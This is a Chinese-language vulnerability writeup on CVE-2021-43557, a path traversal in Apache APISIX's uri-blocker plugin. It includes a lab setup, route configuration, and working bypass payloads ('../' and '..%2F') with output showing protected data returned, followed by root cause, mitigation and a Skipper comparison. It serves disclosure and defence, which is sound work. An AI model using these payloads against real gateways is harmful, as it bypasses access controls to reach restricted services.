CVE-2021-43557 Apache APISIX路径遍历漏洞

CVE-2021-43557 Apache APISIX路径遍历漏洞

CVE-2021-43557:Apache APISIX:request_uri 变量中的路径遍历

CVE-2021-43557 Apache APISIX路径遍历漏洞

在本文中,我将介绍我对Apache APISIX入口控制器中$request_uri变量的不安全使用的研究。我的工作最终提交了安全漏洞,得到了肯定的确认并获得了 CVE-2021-43557。在文章的最后,我将简短地提到我针对相同问题进行过测试的Skipper

什么是 APISIX?来自官网:

Apache APISIX 是一个动态的、实时的、高性能的 API 网关。APISIX 提供了丰富的流量管理功能,例如负载平衡、动态上游、金丝雀发布、断路、身份验证、可观察性等。

为什么是$request_uri?此变量在身份验证和授权插件中多次使用。它没有标准化,因此可以绕过一些限制。

在 Apache APISIX 中,没有外部身份验证/授权的典型功能。您可以编写自己的插件,但它非常复杂。为了证明 APISIX 容易受到路径遍历的影响,我将使用uri-blocker插件。我怀疑其他插件也容易受到攻击,但这个插件很容易使用。

设置环境

将 APISIX 安装到 Kubernetes 中。使用版本0.7.2 的helm :

helm repo add apisix https://charts.apiseven.com
helm repo add bitnami https://charts.bitnami.com/bitnami
helm repo update
kubectl create ns ingress-apisix
helm install apisix apisix/apisix \
  --set gateway.type=NodePort \
  --set ingress-controller.enabled=true \
  --namespace ingress-apisix \
  --version 0.7.2
kubectl get service --namespace ingress-apisix

如果出现问题,请遵循官方指南

要创建入口路由,您需要部署ApisixRoute资源:

apiVersion: apisix.apache.org/v2beta1
kind: ApisixRoute
metadata:
  name: public-service-route
spec:
  http:
  - name: public-service-rule
    match:
      hosts:
      - app.test
      paths:
      - /public-service/*
    backends:
        - serviceName: public-service
          servicePort: 8080
    plugins:
      - name: proxy-rewrite
        enable: true
        config:
          regex_uri: ["/public-service/(.*)", "/$1"]
  - name: protected-service-rule
    match:
      hosts:
      - app.test
      paths:
      - /protected-service/*
    backends:
        - serviceName: protected-service
          servicePort: 8080
    plugins:
      - name: uri-blocker
        enable: true
        config:
          block_rules: ["^/protected-service(/?).*"]
          case_insensitive: true
      - name: proxy-rewrite
        enable: true
        config:
          regex_uri: ["/protected-service/(.*)", "/$1"]

让我们深入了解一下:

  • 它为public-service和创建路由private-service
  • proxy-rewrite打开以删除前缀
  • uri-blocker插件配置为protected-service。它可能看起来像错误,但这个插件将阻止任何以/protected-service😀 开头的请求

Exploitation

我在2.10.0版中使用 APISIX 。

伸手在minikube APISIX路线是相当不便:

kubectl exec -it -n ${namespace of Apache APISIX} ${Pod name of Apache APISIX} -- curl --path-as-is http://127.0.0.1:9080/public-service/public -H 'Host: app.test'

为了减轻我的痛苦,我将编写可用作模板的小脚本:

#/bin/bash

kubectl exec -it -n ingress-apisix apisix-dc9d99d76-vl5lh -- curl --path-as-is http://127.0.0.1:9080$1 -H 'Host: app.test'

在您的情况下,替换apisix-dc9d99d76-vl5lh为实际 APISIX pod 的名称。

让我们从验证路由和插件是否按预期工作开始:

$ ./apisix_request.sh "/public-service/public"
Defaulted container "apisix" out of: apisix, wait-etcd (init)
{"data":"public data"}
$ ./apisix_request.sh "/protected-service/protected"
Defaulted container "apisix" out of: apisix, wait-etcd (init)
<html>
<head><title>403 Forbidden</title></head>
<body>
<center><h1>403 Forbidden</h1></center>
<hr><center>openresty</center>
</body>
</html>

是的。public-service可用protected-service并被插件阻止。

现在让我们测试payload:

$ ./apisix_request.sh "/public-service/../protected-service/protected"
Defaulted container "apisix" out of: apisix, wait-etcd (init)
{"data":"protected data"}

第二个:

$ ./apisix_request.sh "/public-service/..%2Fprotected-service/protected"
Defaulted container "apisix" out of: apisix, wait-etcd (init)
{"data":"protected data"}

正如你在这两种情况下所看到的,我能够绕过 uri 限制😄

根本原因

uri-blocker插件ctx.var.request_uri在做出阻塞决策的逻辑中使用变量。您可以在代码中检查它:

CVE-2021-43557 Apache APISIX路径遍历漏洞

影响

  • 攻击者可以绕过访问控制限制并成功访问不应访问的路由,
  • 自定义插件的开发人员不知道ngx.var.request_uri变量是不受信任的。

搜索用法var.request_uri给了我一个提示,也许authz-keycloak 插件受到了影响。你可以看到这段代码,它看起来真的很讨厌。如果 keycloak 方面没有标准化,那么存在漏洞的可能性很大。

缓解措施

对于自定义插件,我建议在使用ngx.var.request_uri变量之前进行路径规范化。还有另外两个变量,很可能是标准化的,要检查ctx.var.upstream_urictx.var.uri

Skipper

Skipper 是我研究过的另一个入口控制器。在kubernetes中安装并不容易,因为部署指南和helm charts已经过时了。幸运的是,我找到了开发人员描述如何安装它的问题页面。此入口提供了基于webhook 过滤器实现外部身份验证的可能性:

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: my-ingress
  annotations:
    zalando.org/skipper-filter: |
            modPath("^/.*/", "/") -> setRequestHeader("X-Auth-Request-Redirect", "${request.path}") -> webhook("http://auth-service.default.svc.cluster.local:8080/verify")

要添加一些有助于访问控制决策的有趣标头,您需要使用setRequestHeader过滤器手动完成。有模板可用于注入变量${}。可悲的是(对于攻击者)${request.path}有规范化的路径 😐 我在代码中看到开发人员不容易 使用RequestURIoriginalRequest.

在这种情况下,我无法利用路径遍历。Skipper仍然安全。

概括

Apache APISIX 容易受到路径遍历的影响。它不会影响任何外部身份验证,但会影响使用ctx.var.request_uri变量的插件。

这个例子的完整代码在这里https://github.com/xvnpw/k8s-CVE-2021-43557-poc

CVE-2021-43557 poc

https://github.com/xvnpw/k8s-CVE-2021-43557-poc

from

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用*标注